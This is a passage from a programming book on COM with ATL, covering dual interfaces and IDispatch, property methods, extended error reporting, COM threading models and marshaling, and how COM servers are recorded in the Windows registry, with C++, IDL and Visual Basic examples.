Chapter 9 • Dual Interfaces When an interface is called through Invoke(), it only needs to implement the four methods of IDispatch. If you specify the interface as dual, it implements these four methods, plus your custom methods. Here's what the VTABLE looks like for a dual interface: When a dual interface method is called through Invoke, it looks up the DISPID and finds the location of the method in the VTABLE. It can then call the method through the VTABLE pointer. In this case, if the user requested MyMethodA, the client would call GetIdsOfNames and get the DISPID of that method - five. It would map the call to the VTABLE, and call MyMethodA(). An early binding client can skip all this and call MyMethodA directly, without using GetIDsOfNames or Invoke. When you create a new COM object using the ATL Object Wizard, you can specify the dual attribute. This will cause the wizard to add the ATL IDispatch implementation to the object. Figure 9–1 The VTABLE of a dual interface MyMethodC() 0 1 2 VTABLE QueryInterface() Addref() Release() Functions IOLETestObj Interface 3 4 5 6 7 8 9 GetTypeInfoCount() GetTypeInfo() GetIDsOfNames() Invoke() MyMethodA() MyMethodB() IUnknown IDispatch Custo m Dual Interfaces 139 Additonal Information and Updates: http://www.iftech.com/dcom ATL makes IDispatch available by using the template class IDispatchImpl<>. class ATL_NO_VTABLE CVbTest : public CComObjectRootEx, public CComCoClass<CVBTEST, &CLSID_VbTest, public ISupportErrorInfo, public IDispatchImpl<IVBTEST, &LIBID_CH6Lib &IID_IVbTest, ... Note that one of the parameters to IDispatchImpl is the GUID of a type library. This is the id of the type library defined in the library statement of the IDL file. IDispatch interfaces and type libraries are very closely tied together. The following line is added to the COM MAP and, voila! Instant dual interface. COM_INTERFACE_ENTRY(IDispatch) For the amount of functionality this adds, it's remarkably easy. The IDispatchImpl class will handle all the calls to GetID- Figure 9–2 Specifying the dual attribute 140 Chapter 9 • Dual Interfaces sOfNames, Invoke, and the other IDispatch methods. The only cost of the dual interface is the limitation of using variant com- patible types. There is no Proxy/Stub DLL for Dispatch Interfaces One of the nice things about IDispatch-based interfaces is that they have built-in marshaling. The type library is an inherent part of working with dispatch interfaces, and the type library contains all the information necessary to transfer data between processes. This is possible because dispatch interfaces only allow a very limited subset of data types - those that can be stored in a VARI- ANT. Standard marshaling knows how to handle all of these types. Properties One of the conventions of the Visual Basic programming model is to describe objects and controls with properties. The VB browser presents property tabs for almost every type of control. Here's a typical property put and get implementation in Visual Basic. The property name is "LongValue". Dim lval As Long testobj.LongValue = lval‘ property put lval = testobj.LongValue‘ property get The closest equivalent in the C++ would be the public mem- ber variables in a class. Although member variables can be used like properties, it is considered bad Object Oriented form to do so. COM interfaces that do not have public data members, just methods. It wouldn't make sense to expose data members for remote clients - there is no way for a client to directly manipulate the data on a server. In-process severs are DLL's, which can Properties 141 Additonal Information and Updates: http://www.iftech.com/dcom export data members. COM however, does not allow this - COM interfaces need to be compatible with both DLL and remote use. This means our COM objects are going to have to simulate properties via methods. For oleautomation and dual interfaces, there are four attributes used to describe properties: Here's the definition of a property interface in IDL: [propget, id(1), helpstring("property LongValue")] HRESULT LongValue([out, retval] long *pVal); [propput, id(1), helpstring("property LongValue")] HRESULT LongValue([in] long newVal); Notice that properties are methods. Both methods have the same name and the same dispatch ID. MIDL resolves these ambi- guities using the propget and propput attributes. MIDL will gen- erate the following function prototypes for this interface. Attribute Usage Propget A property-get function. Used by IDispatch clients to get a single value from the COM object. The method must have as it's last parameter an [out] pointer type. E.G. ([out, retval] long *pdata) Propput The propput attribute specifies a property-set function. Used by dispatch clients to set a single value of a COM object. The last parameter of the methods must have the [in] attribute. E.G. ([in] long data) Propputref Similar to a propput method, except the parameter is a refer- ence with the [in] attribute. E.G. ([in] long *pdata) Retval Indicates that the parameter receives a return value for the method. The parameter must be an out parameter, and be a pointer. For propget the last parameter must be a retval. Table 9.3 Property Attributes of Methods 142 Chapter 9 • Dual Interfaces STDMETHOD(get_LongValue)(/*[out, retval]*/ long *pVal); STDMETHOD(put_LongValue)(/*[in]*/ long newVal); Notice that it took the member name and appended it to a "get_" or "put_". The function definitions will be as follows: STDMETHODIMP CVbTest::get_LongValue(long * pVal) { *pVal = m_Long ; return S_OK; } STDMETHODIMP CVbTest::put_LongValue(long newVal) { m_Long = newVal; return S_OK; } In this example I'm using the methods to access the class member variable named m_Long. As COM methods go, these are pretty simple. There's nothing magic about these property func- tions. If you were calling them from a C++ client, you would use the full method name. // C++ client example long l; hr = pI->get_LongVal(&l); Adding Properties with the Class Wizard The ATL wizards make adding properties to an interface extremely easy. If you use the "Add Properties" wizard, it's a no- brainer. First, the interface must be a dual or oleautomation derived interface. Next go to the ClassView tab and press the right mouse button. Choose the "Add Property..." selection. Adding Properties with the Class Wizard 143 Additonal Information and Updates: http://www.iftech.com/dcom Figure 9–3 Adding properties Figure 9–4 Specifying properties 144 Chapter 9 • Dual Interfaces The Add Properties dialog will be displayed. This dialog automatically creates property members for the interface. Note that we didn't enter any parameters for the property interface. This property interface has just one parameter, although you are allowed to have more. If you're going to have more parameters, pay attention to the rules for the propget and propput attributes. Methods You can call methods in an IDispatch interface just like any other COM interface. In the previous example we used the Beep() method. Here's the full example code: MIDL DEFINITION [id(7), helpstring("method Beep")] HRESULT Beep([in] long lDuration); SERVER CODE STDMETHODIMP CVbTest::Beep(long lDuration) { ::Beep( 440, lDuration );// don’t forget the :: return S_OK; } CLIENT USAGE testobj.Beep (1000) ' Visual Basic client The ISupportErrorInfo Interface HRESULTS provide the basis for all COM error handling, but automation clients are often able to get more detailed informa- tion through the ERR object. This extended capability is built into IDispatch, so it makes sense to build it into your server objects. You can add this functionality to Dispatch and Dual interfaces The ISupportErrorInfo Interface 145 Additonal Information and Updates: http://www.iftech.com/dcom (or Custom, for that matter) by checking the SupportErrorInfo box when you create your ATL object. What this option does is add several interfaces to your ATL object. Here’s the header code of an object that supports the ErrorInfo interface. class ATL_NO_VTABLE CErrTest : public CComObjectRootEx, public CComCoClass<CERRTEST, &CLSID_ErrTest, public ISupportErrorInfo, public IDispatchImpl<IERRTEST, &LIBID_OLETESTLib &IID_IErrTest, This extended error capability comes through both the ISup- portErrorInfo interface and the CComCoClass template. The ISupportErrorInfo interface is added to the supported interfaces of the coclass through the COM map. Figure 9–5 Adding error support 146 Chapter 9 • Dual Interfaces BEGIN_COM_MAP(CErrTest) COM_INTERFACE_ENTRY(IErrTest) COM_INTERFACE_ENTRY(IDispatch) COM_INTERFACE_ENTRY(ISupportErrorInfo) END_COM_MAP() The ATL wizard also adds source code to your CPP module. ISupportErrorInfo supports a single method called InterfaceSup- portsErrorInfo. The method provides an array of interfaces that support extended errors. The first interface is automatically (IID_IErrTest ) added to this list. If you add multiple interfaces to your coclass you’ll need to add the IID’s to this static array. Note that this code was entirely generated by the ATL wizard. STDMETHODIMP CErrTest::InterfaceSupportsError- Info(REFIID riid) { static const IID* arr[] = { &IID_IErrTest }; for (int i=0; i < sizeof(arr) / sizeof(arr[0]); i++) { if (InlineIsEqualGUID(*arr[i],riid)) return S_OK; } return S_FALSE; } To populate the ErrorInfo object, you can call the Error method of the CComCoClass template class. This method has a number of overloads, which allow you to set different types of error information. Here’s one of the simplest ways to use it. STDMETHODIMP CErrTest::Div(double d1, double d2, dou- ble *dresult) { HRESULT hr = S_OK; if (d2 == 0.0) { The ISupportErrorInfo Interface 147 Additonal Information and Updates: http://www.iftech.com/dcom wchar_t str[128] = L"Divide By Zero" ; Error( str, IID_IErrTest ); // member of CComCo- Class hr = E_FAIL; } else *dresult = d1 / d2; return hr; } Here’s the IDL code that defines this method: [id(1), helpstring("method Div")] HRESULT Div( [in] double d1, [in] double d2, [out,retval] double *dresult); The automation client can extract this information the usual way, using the ERR object. Even if your coclass doesn’t imple- ment ISupportErrorInfo, the VB ERR object does a pretty good job of filling itself with usable information. Here’s a Visual Basic sample: Private Sub DoCalc_Click() Dim ETObj As Object Dim v1 As Double, v2 As Double, v3 As Double Set ETObj = CreateObject("OLETest.ErrTest.1") v1 = Me.D1 v2 = Me.D2 On Error GoTo ShowProb v3 = ETObj.Div(v1, v2) Me.Result = v3 Set ETObj = Nothing Exit Sub ShowProb: 148 Chapter 9 • Dual Interfaces Dim msg As String msg = "Description:" + Err.Description + Chr(13)+_ "Source:" + Err.Source + Chr(13) + _ "Number:" + Hex(Err.Number) MsgBox msg, vbOKOnly, "Server Error" Set ETObj = Nothing End Sub The Visual Basic "ERR" object has a number of useful prop- erties - these include "Description", "HelpContext", "HelpFile", "Number", and "Source". All these properties can be set with Error method. This error information is getting stored in a structure called EXCEPINFO. Here’s the layout of this structure from OAIDL.IDL. You can immediately see the similarities between this and the "ERR" object. typedef struct tagEXCEPINFO { WORD wCode; /* An error code describing the error. */ WORD wReserved; BSTR bstrSource; /* A source of the excep- tion */ BSTR bstrDescription; /* A description of the error */ BSTR bstrHelpFile; /* Fully qualified drive, path, and file name */ DWORD dwHelpContext; /* help context of topic within the help file */ ULONG pvReserved; ULONG pfnDeferredFillIn; SCODE scode; } EXCEPINFO; Obviously, this structure is getting filled by CComCo- Class::Error. The information in the structure is passed back through an interface called IErrorInfo. There’s also an interface called ICreateErrorInfo that sets the EXECPINFO structure. If Summary 149 Additonal Information and Updates: http://www.iftech.com/dcom you’re accessing the coclass through C++, you can use these two interfaces directly. All of this error handling comes standard with an IDispatch interface. The EXECPINFO structure is one of the parameters to IDispatch::Invoke(). The extended error interfaces provide a good way to pass detailed information back to a client program. Summary Here are a few important points from the discussion above: • Your components are going to need to communicate with Visual Basic, Java, Scripting languages, and a whole slew of other applications. These applications will probably support IDispatch based OLE interfaces. • With ATL it's easy to implement IDispatch and dual inter- faces. • Dual and IDispatch interfaces can only use data types allowed in variants. • The earlier the binding, the faster the interface. Use hard typing on the client for maximum performance. • Type libraries provide extensive information to the client application. IDispatch interfaces can use the type library to marshal data. 150 Chapter 9 • Dual Interfaces T E N 10 COM Threading Models One of the more esoteric aspects of COM is the naming and usage of the different threading models. The naming alone is designed to bewilder: a COM object can be “single threaded”, “apartment threaded”, “free threaded”, and “both.” Each of these models deals with a different set of synchronization and thread- ing issues. The default "apartment" threading model works quite well for almost all applications. Apartment threading allows COM programmers to effectively ignore threading issues in most cases. There are however, some cases where design and performance problems conspire to require a more precise level of control. In this chapter we will explore the different options so that you can make intelligent threading decisions. Synchronization and Marshaling If you've worked with multi-threaded applications before, then you're well aware of the complexities involved. The difficulty is synchronization - ensuring that things happen in the correct order. When COM objects communicate with clients and each other, they face a variety of synchronization issues. COM objects 152 Chapter 10 • COM Threading Models can run in in-process, out-of-process, and remote servers - each of these has its own unique set of constraints. COM defines a set of “models” for dealing with threading issues. By following these models, we can ensure synchronized communication. By the use of the word “model”, we can assume that things aren't going to be completely automatic. The proper implementation of threading, especially free threading, is going to take some knowledge on the part of the developer. Marshaling is the process of packaging data and sending it from one place to another. COM handles all data transfer through method calls. COM marshaling involves the packaging of data in parameter lists. Marshaling can take place at many lev- els. At its simplest level, it can mean the transfer of data between individual threads. More complex marshaling may involve send- ing data between different processes, or even across a network. Marshaling is one of the important factors in synchronization. Process • An application or program running on the system. A process has its own separate address space, program code, and (heap) allocated data. A process can contain one or more threads of execution. Thread • A piece of code that can be run by a single CPU. Each thread has its own stack and program registers and is managed by the operating system. All threads in an application share the same address space and global data, as well as other resources. Multiple threads can be run independently of each other and the operating system schedules their execution. On multi-CPU computers, more than one thread may be running simultaneously. Fibers • A type of 'lightweight' thread. Similar to threads except that they have to be manually sched- uled for execution. Not commonly used. Currently there is no COM analog to fibers. Thread local storage • In general, threads share memory with the rest of their process. There is a spe- cial type of memory called thread local storage (TLS), that is only available to the thread that creates it. TLS is accessed through the TLS API, which includes the functions TlsAlloc, TlsGetValue, TlsSetValue, and TlsFree SOME QUICK DEFINITIONS................ Threading Models 153 Additonal Information and Updates: http://www.iftech.com/dcom Threading Models COM servers have two general threading models. This includes Apartment Threaded and Free Threaded objects. To understand what these threading models mean, let's first look at the way Windows handles threads. In the world of Windows programming, we customarily deal with two types of threads - user interface threads and worker threads. The distinction between the two deals primarily with the existence of a message loop. Worker threads are the simplest type of thread. A worker thread does not have to handle user input. It starts at the begin- ning and continues until it's finished processing. A typical worker thread would be used to compute a value, or to perform database access, or to do anything that takes a substantial amount of time to complete. If worker threads do communicate with other threads, it is through mutexes, events, semaphores, and other synchronization or IPC methods. Worker threads are very useful for long compu- tational tasks which don't need any user interaction. A typical program would create a worker thread by calling CreateThread. The worker thread has a main function, called a THREADPROC, and can have subsidiary functions as well called by the THREADPROC. The THREADPROC executes as if it were an independent program. The thread is given a block of data to work on, and it churns until it's done. When the worker thread is complete, it usually signals its caller and exits. By contrast, all interactive Windows programs run as 'user interface threads'. A user interface thread has the special con- straint that it must always be responsive to user input. Whenever the user resizes a window, or clicks the minimize button, the program must respond. Regardless of what it's doing, it must be able to redraw itself when it's window is uncovered or moved. This means that the program must break it's processing up into small manageable chunks which complete quickly and allow the program to respond. User Interface threads have a message loop to process user and system events. All windows programs are based on the con- 154 Chapter 10 • COM Threading Models cept of the message loop. Each window has a user interface thread that monitors the message queue and processes the mes- sages it receives. A typical message loop looks like this: MSG msg; while(GetMessage(&msg,NULL,0,0)) { TranslateMessage( &msg ); DispatchMessage( &msg ); } Windows uses this method to ensure that a program pro- cesses its input in a sequential manner. Messages are always pro- cessed in the order they are received. Each window has only a single thread, and this thread must handle all user-input events. When the program receives a message, such as a "Close Win- dow" (WM_CLOSE) message, it dispatches the message to a spe- cific function. The message loop continues until it receives a WM_QUIT message. Notice that the 'while' statement in the message loop tests the return value of GetMessage. The WM_QUIT message causes GetMessage to return FALSE, which exits the loop. After the message loop is finished, the thread typically shuts itself down and closes all its windows. The Windows operating system handles the overall routing of messages. It handles the hardware generation of events such as mouse moves, and ensures that each window receives the appropriate messages. The big advantage of a User Interface thread is that it breaks up its processing into a series of compact functions, each of which handles a specific message. For example, the message might be WM_CLOSE, and it would be sent to the function called OnClose(). When the application is finished processing a mes- sage, it returns to the message loop and responds to the next message. Because messages are queued up as they arrive, the UI thread is never processing more than one message at a time. This is a very safe, but somewhat inefficient, method of process- ing requests while still remaining responsive to input. Apartment, Free, and Single Threads 155 Additonal Information and Updates: http://www.iftech.com/dcom Apartment, Free, and Single Threads In the COM world we use a different terminology to describe threads: User Interface threads are called "Apartment" threads. Worker threads are called "Free" threads. Although not identical to their Win32 counterparts, there are quite a few similarities. The third type of thread is a 'single' thread. Single threads are really just a special type of apartment threads. Actually, the terminology is somewhat more confusing. You'll often see apartment threads called 'single threaded apart- ments', or STAs. The 'free' threaded counterpart is commonly called a 'multi-threaded apartment', or MTA. While this it may be Figure 10–1 User Interface thread model Message Handlers OnClose() etc. GetMessage() PutMessage() User Interface (UI) Thread 156 Chapter 10 • COM Threading Models technically accurate, I avoid the STA and MTA nomenclature because it is more confusing. I'll use Apartment, single, and free threading in my examples. The term "apartment" is purely conceptual. The apartment is the environment that the thread "lives in" - it separates the thread from the rest of a process. In many ways, the threading model is really a set of rules describing how the thread will behave. The ATL Wizard and Threading Models The ATL object wizard makes it extremely easy to define an object’s threading model. In a Win32 environment, the two options Single and Apartment behave similarly. Although each of these options represents real concepts, they don't generate different code under ATL. The designation is really just a flag for the COM subsystem. The COM subsystem will use these values to determine how to marshal calls between threads. This behav- ior is not reflected anywhere in the source code of the coclass or server. The Both and Free options are similarly identical. COM determines threading model in two different ways, depending on the type of server. For out-of process (EXE) serv- ers, the threading model is set when you initialize COM. You specify the model by the call to CoInitialize and CoInitial- Figure 10–2 ATL Threading Models The ATL Wizard and Threading Models 157 Additonal Information and Updates: http://www.iftech.com/dcom izeEx. Let's look at the extended version of the initialization rou- tine. HRESULT CoInitializeEx( void * pvReserved, //Reserved, always 0 DWORD dwCoInit );//COINIT value - threading model The second parameter specifies the threading model. The dwCoInit argument is a COINIT enumeration, which is described in the <objbase.h> header. The COINIT enumeration determines the threading model. There are several other values of the enu- meration, but they aren't commonly used. When you call the default version of CoInitialize(0), it is the same of specifying COINIT_APARTMENTTHREADED. CoInitial- ize remains for compatibility reasons, but the extended version (CoInitializeEx) is the recommended form. The behavior of a threading model is often determined by server implementation. A remote (EXE) server behaves differ- ently from an In-process server (DLL). COM looks at the thread- ing modes of the client and server, and determines how to access the object. In-process servers don't always call CoInitialize() for each COM object. COM needs a way to determine the threading requirements of the object. This is accomplished by using a reg- istry key that describes the COM object. This registry key deter- mines the threading model of the in-process object. Under HKEY_CLASSES_ROOT\CLSID, each in-process server can have a key named InprocServer32. Under this key COINIT enumeration Value Description COINIT_APARTMENTTHREADED 2 Initializes the thread for apart- ment-threaded object concur- rency. COINIT_MULTITHREADED 0 Initializes the thread for multi- threaded object concurrency. Table 10.1 COINIT enumerations used by CoInitializeEx 158 Chapter 10 • COM Threading Models there is a named valued called "ThreadingModel". The threading model can be "Single", "Apartment", "Free", or "Both". Apartment Threads In any threading diagram, an “apartment” is the box around the message loop and the COM object’s methods. The apartment is a logical entity that does not map directly to either threads or memory. The apartment defines the context of the executing COM object and how it handles multi-threading issues. An apartment thread has a message loop and a hidden win- dow. Whenever COM needs to communicate with an apartment threaded object, it posts a message to the object’s hidden win- dow. The message gets placed in the object’s message queue. This is done with PostThreadMessage(). The message queue ensures that all COM requests are pro- cessed sequentially. This means that if you are programming an apartment threaded server, you don't have to worry about threading issues. Each method call waits until the previous call is 100% completed with its processing. The COM subsystem auto- matically takes care of posting messages in the correct thread. Regardless of what thread a client uses to access an apart- ment threaded object, the processing will be done on a single designated thread. This is true even if the client and server are running in the same process (as in an In-Process server). When you create the server, you specify "Threading Model: Apartment" in the ATL Object Wizard. The apartment threaded object is implemented through the ATL template class <CCom- SingleThreadModel>. Here is the header generated by the ATL object wizard. class ATL_NO_VTABLE CMyObject : public CComObjectRootEx<CComSingleThreadModel>, public CComCoClass<CMyObject, &CLSID_MyObject>, public IDispatchImpl<IMyObject, &IID_IMyObject, &LIBID_MYLib> ... Single Threads 159 Additonal Information and Updates: http://www.iftech.com/dcom COM does all the work of setting up the object and its apart- ment and message loop. You can then write your COM object’s code without worrying about thread safety. A COM server can have multiple apartment threaded objects running simulta- neously. The limitation is that each object is always accessed through the same apartment thread. Always. If the server creates a new object, it creates a new apartment for that individual object. Single Threads Single threaded servers have a specialized type of apartment model. A single threaded server has only a single apartment thread. That means that all COM objects are processed by the Figure 10–3 An Appartment Threaded COM Object COM Object methods GetMessage() PutMessage() Connection s COM Apartment CoInitialize(0) CoUninitialize() 160 Chapter 10 • COM Threading Models same thread. When the server creates a new COM object, it re- uses the one-and-only apartment thread to execute methods on that object. You can imagine the traffic jam this will cause on a busy server. Back in the early days of COM and OLE, this was the only model available. Free Threaded Servers Free threaded (or Multi-Threaded Apartment) servers in some cases offer advantages over Apartment threaded servers. Because they are not thread-safe, they can be much more complicated to code. A free threaded server is similar to a worker thread. It has no message loop, and does nothing to ensure thread safety. We say the COM object has an 'Apartment', but in this case, the apartment does nothing to limit thread access. When the client application makes a call to the object in a free thread, COM processes that request on the thread that called it. Remember that COM calls are often made through a Proxy/ Stub. On the server side, the COM call arrives on the Stub's thread, and it will be processed on the same thread. If two cli- ents call the same free threaded object, both threads will access the object at the same time. The potential for data corruption, or even server crashes, is very real if you do not manage synchroni- zation properly. However, the problems encountered in a free threaded COM server are no different from those found in any multi-threaded application. ATL implements a free threaded object with the ATL tem- plate class <CComMultiThreadModel>. class ATL_NO_VTABLE CMyObject : public CComObjectRootEx<CComMultiThreadModel>, public CComCoClass<CMyObject, &CLSID_MyObject>, public IDispatchImpl<IMyObject, &IID_IMyObject, &LIBID_MYLib> Both 161 Additonal Information and Updates: http://www.iftech.com/dcom Both A value of 'both' for in-process servers means the object can be loaded in both free and apartment threads. This option is stored in the registry under CLSID/InprocServer32 as Threading- Model="Both". This object is free-threaded, and must handle all the thread- safety issues of a free threaded model. By marking itself Thread- ingModel=Both, the object can be loaded directly into an in-pro- cess apartment thread without the overhead of creating a proxy object. Normally, when an apartment thread loads a free threaded object, it automatically creates a proxy to marshal the object’s interface. The "Both" model allows the loading apartment some- what faster access without this proxy. Figure 10–4 Free Threaded Server COM Object methods MTA Object Thread 1 Thread 2 CoInitialize() CoUninitialize() 162 Chapter 10 • COM Threading Models Marshaling Between Threads Now that you understand the three COM threading models, you need to know more about marshaling. The two topics are closely tied together. As you recall, marshaling is the process of making calls and copying data between COM clients and servers. The whole concept of an apartment is based on not only the execu- tion and synchronization of COM objects, but on the marshaling of data between clients, servers, and threads. One of the features of MIDL is that it automatically builds all the marshaling code for an object and its client. This marshaling code is doing some complex things to ensure that data and method calls are working properly. COM's marshaling methods need to take into account many factors, especially threading models. The other factor that we've discussed is synchronization. All calls in an apartment threaded environment are synchronized. Calls in a free threaded environment aren't. Here are some rules that describe how COM will behave when communicating between threads. COM Access Synchronization Marshaling To the same thread. None required. None required. All calls are made directly. Pointers can be passed. Any thread to an Apartment thread. All calls automatically synchronized through a message loop. COM marshals all calls into an apartment thread. (This is done by posting messages.) Any free thread to a free thread. Not synchronized. The programmer ensures synchronized access. No marshaling within the same process. Between pro- cesses, all calls are marshaled. Apartment to Free Not synchronized. Marshaled. Table 10.2 COM communication between threads Using Apartment Threads 163 Additonal Information and Updates: http://www.iftech.com/dcom Using Apartment Threads Apartment threads are by far the easiest type to work with. You can effectively ignore all the complexities of multi-threaded access to your COM object. The message queue ensures that methods are called serially. For most applications, the perfor- mance is quite good. In fact, you'll probably not get any advan- tage from free threading. Commonly, the client thread creates a single object that it always accesses. In other words, there is a one-to-one corre- spondence between client thread and server thread. In this case, there is never a wait for access to the object. In this case, there would be no advantage to free threading. There are some disadvantages to apartment threads. The foremost of these is that your COM object will be unresponsive when it is executing a method. If you have multiple clients or multiple client threads accessing the same object, they will have to wait for each other. If your object has lengthy processing to perform, performance will suffer. This is not as common as you might think. You'll only have performance problems when multiple cli- ents are accessing the exact same object. This is rare because most clients will create their own instance of the object. Multiple instances of the object run in separate apartments, and therefore work independently of one another. Singleton objects are one case where a single object is accessed by multiple threads - in singleton objects apartment threading might be problematic. Another disadvantage is that apartment threaded objects can't utilize multiple CPU's. Admittedly, this is very rarely a sig- nificant performance concern. If you have a singleton class, you're going to have to look carefully at performance issues. Sin- gleton objects share many of the performance concerns of single threaded objects. Performance for single threaded servers can be a problem. Even if a server has multiple objects, they all run from the same message loop. That means all processing is going through the same pipe, which will cause performance bottlenecks. 164 Chapter 10 • COM Threading Models Free Threading Model Free threading is not a panacea for performance problems. It has a lot of disadvantages, and in many cases little benefit. However, for some specific cases it can be very powerful. Programming free threaded objects is complex. You have to assume that your object is going to be accessed simultaneously by random threads. That means that all member variables are wide open to be changed at any time. Stack based local variables are specific to the calling thread, and will be safe. There are two ways to handle this problem: explicitly write code to serialize access to data (using standard synchronization techniques such as mutexes), or ensure that the object is stateless. “Stateful” and “stateless” refers to how an object stores data. An object is stateful if it retains information between method calls. Using global, static or even member variables may make your object stateful. Stateful objects are a problem because mul- tiple threads can change their data unexpectedly, causing erratic and failure-prone behavior. A stateless object doesn't retain information, and isn't prone to being unexpectedly changed. Here's an example of a stateless method call in a COM object. STDMETHODIMP CBeepObj::Beep(LONG lDuration) { ::Beep( 550, lDuration ); return S_OK; } The only data used by this method is a local stack variable (lDuration). There's not really much that could go wrong here. This method would work safely in any threading environment. If you write an object that needs to retain globally accessible data, it will have to use the Win32 synchronization methods to protect the data. If you've done much of this you'll realize what a truly exacting task it can be. If you're willing to spend the design and programming time to ensure thread safety, you can get some performance advan- Testing the Different Models 165 Additonal Information and Updates: http://www.iftech.com/dcom tages. Each free threaded method call executes as soon as it gets CPU time. It doesn't have to wait for other objects to complete. COM maintains (through RPC) a pool of threads that are ready to service any incoming calls. There is very little marshaling overhead on free threaded objects. For in-process severs, there is no need for a proxy and stub between the object and its client. (Out-of-process servers will almost always require marshaling.) Data can be safely trans- ferred between in-process free threads without any serialization overhead. Because free threaded objects don't have a message pump, there is no need for a busy message loop to rob CPU cycles. Data doesn't need to be placed on, and removed from, the message queue. Perhaps the biggest gotcha about free threads is marshaling. Even if you create a free threaded server object, it may incur sig- nificant marshaling overhead. COM is very conservative about how it marshals data. If the client is apartment threaded, and if the server is free threaded, COM will marshal all access to the object. This marshaling will impact the performance of the object. Testing the Different Models You can easily experiment with and understand the three thread- ing models using the beep server presented at the beginning of the book. Create three versions of the server with the Wizard, one with single threads, one with apartment threads and one with free threads. Modify the server so that it beeps for 10 or 15 seconds (or beeps and then sleeps for 10 seconds). Now run multiple clients in separate windows and watch what happens. In the single threaded case, all of the beep requests from all of the separate clients will be serialized. You will hear each beep for the 10 second duration, followed by the next beep. In the free threaded case you will find that beeps can occur simulta- neously because they are being created by multiple threads. If you multi-thread the client so it can simultaneously make multi- 166 Chapter 10 • COM Threading Models ple calls to Beep, you will be able to see the difference between apartment and single threaded objects. Summary COM has four threading models: single, apartment, free, and both. Single threads are a subset of apartment threads. Apart- ment threads offer good performance for most applications while eliminating most thread synchronization concerns. The apartment model synchronizes access to the COM object, and Marshals data to and from it. Free threaded objects don't have any synchronization mech- anism - the programmer has to ensure thread safety. If you've done much multi-threaded programming, you know how com- plex and difficult to debug it can be. Writing thread-safe code isn't an easy task. If you're working with the Single or Apartment model, you don't have to worry about thread safety, but your application may take a performance hit. Free threaded servers are potentially more efficient because they can take advantage of the multi- threading and multi-CPU architecture of windows. E L E V E N 11 The COM Registry This chapter describes how the registry is used to store informa- tion about COM servers. One of the important features of COM is that it allows a cli- ent program to use a component without locating, starting, and manually connecting to a server. This greatly simplifies the client program. However, this does mean the information required for server activation must be stored somewhere. On Windows, this type of configuration data is stored in the Registry. The Registry is a single, well-organized location that stores all system, application, and user configuration information. Nor- mally the user does not manipulate the registry directly, although that is possible using the Registry Editor. In one sense, COM applications aren’t really stand-alone programs. In order to run a COM application, a complex interac- tion between the operating system and the application takes place. The Service Control Manager (SCM) does the work of locating, starting, and shutting down COM servers. In one sense, the server is just part of a complex interaction between the cli- ent, Windows, and the COM components. For a COM server to operate it must have registered itself and its capabilities with Windows. 168 Chapter 11 • The COM Registry COM stores three types of information in the registry: • Human readable information about COM classes • The mapping of CLSIDs to their servers • Information about server capabilities Another name for the registry is the “Class Store”. On Win- dows 95 and NT 4.0, the Class Store is synonymous with the Registry. In future versions, the Class Store will evolve into a centralized storage location for COM information. There are several ways in which COM information is written to the Registry. Most commonly, COM servers have the ability to store this registration information themselves - also known as self-registration. This capability fits in very nicely with the com- ponent model because it allows objects to be responsible for their own configuration. The alternative would be to include an external registration component for each object (such as an REG script). Self-registration can be implemented in both remote and In- process servers. There are several ways to implement this capa- bility. We’ll take a closer look at how ATL servers handle registra- tion. We will also be taking a look at the registry structures that hold COM information. The COM Registry Structure The registry is organized in a tree structure. The top level of the tree consists of a number of “Hives” or HKEY’s. Exactly which hives you have depends on the operating system. The two hives that are of interest to COM are HKEY_LOCAL_MACHINE and HKEY_CLASSES_ROOT. You’ll find these two keys on both Win- dows 95 and NT. The key HKEY_CLASSES_ROOT is where all COM’s registry information is kept. Actually, if you look carefully, you’ll find that HKEY_CLASSES_ROOT is a subdirectory under HKEY_LOCAL_MACHINE. The HKEY_CLASSES_ROOT key is just a shortcut. The COM Registry Structure 169 Additonal Information and Updates: http://www.iftech.com/dcom There are numerous keys and branches under the HKEY_CLASSES_ROOT branch, but only a few basic types. These keys are mappings used to locate servers, classes, and server information. Here’s the tree structure: Figure 11–1 The registry is arranged in a series of “hives”. The two hives important to a COM programmer are HKEY_LOCAL_MACHINE and HKEY_CLASSES_ROOT Figure 11–2 HKEY_CLASSES_ROOT is simply an alias for the Classes key found in HKEY_LOCAL_MACHINE/Software. - My Computer HKEY_LOCAL_MACHINE + + + HKEY_CLASSES_ROOT other keys... - HKEY_LOCAL_MACHINE + - Classes SOFTWARE 170 Chapter 11 • The COM Registry Each of these keys stores a specific type of information. The most significant of these types is the CLSID, which is a COM class identifier. Figure 11–3 Standard keys in HKEY_CLASSES_ROOT KEY Description AppID Application ID. Each AppID represents a COM server, which supports a grouping of one or more COM classes. CLSID Class ID. The ID of a COM class. The CLSID key is used to map a class to its server. Each entry under this key will be a GUID describing a COM object and it’s server. Interfaces Information about the interface Proxy/Stub. ProgID Program ID. Used to map a readable class name to its CLSID. There are numerous ProgID’s under HKCR. Typelib Type library information. Table 11.1 Standard keys in HKEY_CLASSES_ROOT - HKEY_CLASSES_ROOT + + AppId CLSID + Typelib + ProgID 0..n + Interfaces Registration of CLSIDs 171 Additonal Information and Updates: http://www.iftech.com/dcom Registration of CLSIDs Class information is stored in the HKEY_CLASSES_ROOT/CLSID key. This branch of the registry has a separate entry for the GUID of each registered COM class in the system. A registry key will be set up for each GUID - surrounded by curly braces. For example, the BaseTypes class has a key of {FF23CF23-89D5- 11D1-8149-000000000000}. When COM needs to connect to the server, it uses the GUID of the Class ID to find server information. CLSID is the only required key for a COM component. At a bare minimum, all COM components should have a valid entry under this registry key. The CLSID key may have several sub-keys and data entries under it. The exact set of registry entries depends on the specif- ics of the COM class. In the example above, BaseTypes has a remote (EXE) COM server. This dictates that it has a key called LocalServer32, which points to the name of the executable pro- gram. Following is a table of common values found under the CLSID branch: Figure 11–4 The CLSID registry entry for a typical COM server - CLSI D + {00000303-0000-0000-C000-000000000036} = FileMoniker + + + LocalServer32 = C:\MyDir\MyServer.exe ProgID = BaseTypes.BaseTypes.1 Other CLSID keys... + {FF23CF23-89D5-11D1-8149-000000000000} = StringTypes Cla {FF23CF20-89D5-11D1-8149-000000000000} = BaseTypes Clas - VersionIndependentProgID = BaseTypes.BaseTypes AppID = {FF23CF13-89D5-11D1-8149-000000000000} + 172 Chapter 11 • The COM Registry This is by no means an exhaustive list of values. You will often find other values under this key. Many of these are keys for specific OLE components. Registration of ProgIDs ProgID stands for programmatic identifier. The ProgID is a human readable name for the COM class. This is usually the component name used with imported Type libraries (using smart pointers), or when creating Visual Basic objects. Ultimately, the CLSID is the unique identifier for each COM object. The CLSID is always unique, ProgID’s are not. ProgID’s are just a convenience for locating the CLSID. Here’s 